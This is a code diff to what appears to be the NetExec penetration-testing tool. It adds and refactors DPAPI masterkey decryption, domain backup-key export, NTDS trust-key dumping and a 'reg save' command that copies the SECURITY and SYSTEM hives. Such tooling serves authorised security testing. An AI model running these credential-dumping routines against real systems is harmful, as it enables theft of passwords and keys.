@@ -428,6 +428,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -725,13 +739,13 @@ class database(BaseDB):
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this group ID is valid.
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
|
||||
@@ -1,100 +0,0 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
|
||||
|
||||
def get_domain_backup_key(context):
|
||||
pvkbytes = None
|
||||
try:
|
||||
results = context.db.get_domain_backupkey(context.domain)
|
||||
except Exception:
|
||||
context.logger.fail(
|
||||
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
|
||||
'workspace create dpapi' then re-run the dpapi option"
|
||||
)
|
||||
return False
|
||||
if len(results) > 0:
|
||||
context.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
elif context.no_da is None and context.args.local_auth is False:
|
||||
try:
|
||||
dc_target = Target.create(
|
||||
domain=context.domain,
|
||||
username=context.username,
|
||||
password=context.password,
|
||||
target=context.domain, # querying DNS server for domain will return DC
|
||||
lmhash=context.lmhash,
|
||||
nthash=context.nthash,
|
||||
do_kerberos=context.kerberos,
|
||||
aesKey=context.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=context.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
context.db.add_domain_backupkey(context.domain, pvkbytes)
|
||||
else:
|
||||
context.no_da = False
|
||||
except Exception as e:
|
||||
context.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
return pvkbytes
|
||||
|
||||
|
||||
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
if context.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(context.args.mkfile)
|
||||
except Exception as e:
|
||||
context.logger.fail(str(e))
|
||||
if user:
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if context.password != "":
|
||||
plaintexts[context.username.lower()] = context.password
|
||||
if context.nthash != "":
|
||||
nthashes[context.username.lower()] = context.nthash
|
||||
|
||||
# Collect User and Machine masterkeys
|
||||
try:
|
||||
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=dploot_connection,
|
||||
pvkbytes=context.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
if user:
|
||||
context.logger.debug("Collecting user masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
if system:
|
||||
context.logger.debug("Collecting machine masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
return masterkeys
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn = None
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
@@ -27,7 +27,7 @@
|
||||
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
@@ -108,7 +108,7 @@ class MMCEXEC:
|
||||
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
|
||||
@@ -42,8 +42,12 @@ def proto_args(parser, parents):
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
|
||||
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
|
||||
trust_keys_arg.make_required = [ntds_arg]
|
||||
just_trust_keys_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import ntpath
|
||||
import os
|
||||
from time import sleep
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
@@ -57,7 +57,7 @@ class WMIEXEC:
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
|
||||
+14
-3
@@ -14,6 +14,8 @@ from paramiko.ssh_exception import (
|
||||
SSHException,
|
||||
)
|
||||
|
||||
from nxc.protocols.ssh.keyfiles import is_key_type_rejected
|
||||
|
||||
|
||||
class ssh(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -85,13 +87,13 @@ class ssh(connection):
|
||||
try:
|
||||
if self.args.key_file or private_key:
|
||||
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
|
||||
# Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
|
||||
pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=username,
|
||||
passphrase=password if password != "" else None,
|
||||
pkey=private_key,
|
||||
key_filename=self.args.key_file,
|
||||
pkey=pkey,
|
||||
timeout=self.args.ssh_timeout,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
@@ -125,6 +127,8 @@ class ssh(connection):
|
||||
except AuthenticationException as e:
|
||||
if "Private key file is encrypted" in str(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
|
||||
elif is_key_type_rejected(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
|
||||
else:
|
||||
self.logger.fail(f"{username}:{process_secret(password)}")
|
||||
except SSHException as e:
|
||||
@@ -132,8 +136,15 @@ class ssh(connection):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
|
||||
elif "Error reading SSH protocol banner" in str(e):
|
||||
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
|
||||
elif is_key_type_rejected(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
|
||||
else:
|
||||
self.logger.exception(e)
|
||||
except ValueError as e:
|
||||
self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
|
||||
except TimeoutError:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
self.conn.close()
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA.
|
||||
# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing.
|
||||
KEY_TYPE_REJECTED_SUBSTRINGS = (
|
||||
"no RSA pubkey algorithms are configured",
|
||||
"Unable to agree on a pubkey algorithm",
|
||||
)
|
||||
|
||||
|
||||
def is_key_type_rejected(exc):
|
||||
"""Return True if exc means the server rejected the key's algorithm."""
|
||||
return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS)
|
||||
@@ -7,6 +7,7 @@ import struct
|
||||
from nxc.config import host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
from aardwolf.commons.target import RDPTarget
|
||||
@@ -100,7 +101,7 @@ class vnc(connection):
|
||||
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS)
|
||||
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
|
||||
asyncio.run(self.connect_vnc(True))
|
||||
except asyncio.TimeoutError:
|
||||
except TimeoutError:
|
||||
# asyncio.TimeoutError is only an alias of the builtin from 3.11 on,
|
||||
# and the project supports 3.10, so catch it by its asyncio name.
|
||||
self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}")
|
||||
@@ -144,7 +145,7 @@ class vnc(connection):
|
||||
)
|
||||
return True
|
||||
|
||||
except asyncio.TimeoutError:
|
||||
except TimeoutError:
|
||||
# Reporting an unresponsive server as a rejected password would be wrong:
|
||||
# nothing was authenticated, so say what actually happened.
|
||||
self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s")
|
||||
@@ -160,7 +161,7 @@ class vnc(connection):
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
|
||||
|
||||
+45
-152
@@ -1,6 +1,6 @@
|
||||
import os
|
||||
import base64
|
||||
import traceback
|
||||
import binascii
|
||||
import requests
|
||||
import urllib3
|
||||
import logging
|
||||
@@ -12,19 +12,16 @@ from pypsrp.client import Client
|
||||
from pypsrp.powershell import PSDataStreams
|
||||
from termcolor import colored
|
||||
|
||||
from dploot.lib.utils import is_guid, is_credfile
|
||||
from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB
|
||||
from dploot.lib.network.winrm import WINRMTarget as Target
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
||||
from impacket.uuid import bin_to_string
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
urllib3.disable_warnings()
|
||||
|
||||
@@ -41,6 +38,10 @@ class winrm(connection):
|
||||
self.challenge_header = None
|
||||
self.targetDomain = None
|
||||
self.no_ntlm = False
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -67,8 +68,11 @@ class winrm(connection):
|
||||
self.no_ntlm = True
|
||||
return False
|
||||
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
@@ -373,7 +377,7 @@ class winrm(connection):
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
@@ -392,159 +396,48 @@ class winrm(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
|
||||
else:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
perSecretCallback=lsa_secret_callback
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
def dpapi(self):
|
||||
"""
|
||||
Find and unlock Credential Manager masterkeys and credentials owned by user.
|
||||
The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials.
|
||||
Actual decryption of keys and credentials is taken and adapted from impacket-dpapi.
|
||||
"""
|
||||
user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect")
|
||||
user_credentials_paths = [
|
||||
ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"),
|
||||
ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials")
|
||||
]
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
self.logger.display("Collecting DPAPI masterkeys...")
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.host,
|
||||
port=self.port,
|
||||
ssl=self.ssl,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
)
|
||||
|
||||
sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True)
|
||||
if not sids:
|
||||
self.logger.fail(f"No masterkeys found for user {self.username}")
|
||||
return
|
||||
|
||||
masterkeys = []
|
||||
for sid in sids.splitlines():
|
||||
keys_path = ntpath.join(user_masterkey_path, sid.strip())
|
||||
keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True)
|
||||
for key in keys.splitlines():
|
||||
stripped_key = key.strip()
|
||||
if is_guid(stripped_key):
|
||||
key_path = ntpath.join(keys_path, stripped_key)
|
||||
self.logger.debug(f"Found masterkey file {key_path}")
|
||||
local_key_file = f"{TMP_PATH}/{stripped_key}"
|
||||
self.conn.fetch(key_path, local_key_file)
|
||||
decrypted_key = self.get_master_key(local_key_file, sid, self.password)
|
||||
if decrypted_key:
|
||||
masterkeys.append((stripped_key, decrypted_key))
|
||||
|
||||
if not masterkeys:
|
||||
self.logger.fail("Could not decrypt any keys")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
credential_files = []
|
||||
for user_credentials_path in user_credentials_paths:
|
||||
creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True)
|
||||
for cred_file in creds.splitlines():
|
||||
stripped_cred_file = cred_file.strip()
|
||||
if is_credfile(stripped_cred_file):
|
||||
creds_path = ntpath.join(user_credentials_path, stripped_cred_file)
|
||||
self.logger.debug(f"Found credentials file {creds_path}")
|
||||
local_cred_file = f"{TMP_PATH}/{stripped_cred_file}"
|
||||
self.conn.fetch(creds_path, local_cred_file)
|
||||
credential_files.append(local_cred_file)
|
||||
|
||||
if not credential_files:
|
||||
self.log.fail(f"No credential files found for user {self.username}")
|
||||
return
|
||||
|
||||
for creds_file in credential_files:
|
||||
with open(creds_file, "rb") as fp:
|
||||
data = fp.read()
|
||||
cred = CredentialFile(data)
|
||||
blob = DPAPI_BLOB(cred["Data"])
|
||||
|
||||
guid_masterkey = bin_to_string(blob["GuidMasterKey"])
|
||||
right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None)
|
||||
|
||||
if right_key is not None:
|
||||
try:
|
||||
decrypted = blob.decrypt(right_key)
|
||||
if decrypted is not None:
|
||||
self.logger.debug(f"Successfully decrypted credentials in {creds_file}:")
|
||||
creds = CREDENTIAL_BLOB(decrypted)
|
||||
if creds["Unknown3"] != b"":
|
||||
target = creds["Target"].decode("utf-16le")
|
||||
username = creds["Username"].decode("utf-16le")
|
||||
try:
|
||||
password = creds["Unknown3"].decode("utf-16le")
|
||||
except UnicodeDecodeError:
|
||||
password = creds["Unknown3"].decode("latin-1")
|
||||
self.logger.highlight(f"{target} - {username}:{password}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
else:
|
||||
self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})")
|
||||
|
||||
def get_master_key(self, masterkey_file, sid, password):
|
||||
"""
|
||||
Taken and adapted from impacket.examples.dpapi
|
||||
Could be cleaned up but the more we deviate from the original the harder it will be to maintain it
|
||||
"""
|
||||
with open(masterkey_file, "rb") as fp:
|
||||
data = fp.read()
|
||||
mkf = MasterKeyFile(data)
|
||||
data = data[len(mkf):]
|
||||
|
||||
if mkf["MasterKeyLen"] > 0:
|
||||
mk = MasterKey(data[:mkf["MasterKeyLen"]])
|
||||
data = data[len(mk):]
|
||||
|
||||
if mkf["BackupKeyLen"] > 0:
|
||||
bkmk = MasterKey(data[:mkf["BackupKeyLen"]])
|
||||
data = data[len(bkmk):]
|
||||
|
||||
if mkf["CredHistLen"] > 0:
|
||||
ch = CredHist(data[:mkf["CredHistLen"]])
|
||||
data = data[len(ch):]
|
||||
|
||||
if mkf["DomainKeyLen"] > 0:
|
||||
dk = DomainKey(data[:mkf["DomainKeyLen"]])
|
||||
data = data[len(dk):]
|
||||
|
||||
key1, key2, key3 = deriveKeysFromUser(sid, password)
|
||||
|
||||
# if mkf['flags'] & 4 ? SHA1 : MD4
|
||||
decryptedKey = mk.decrypt(key3)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (MD4 protected)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = mk.decrypt(key2)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (MD4)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = mk.decrypt(key1)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (SHA1)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key3)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (MD4 protected)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key2)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (MD4)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key1)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (SHA1)")
|
||||
return decryptedKey
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,4 +1,6 @@
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
|
||||
@@ -14,6 +16,8 @@ class database(BaseDB):
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -69,6 +73,32 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -78,6 +108,8 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, port, hostname, domain, os=None):
|
||||
"""
|
||||
@@ -274,6 +306,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -380,3 +426,113 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
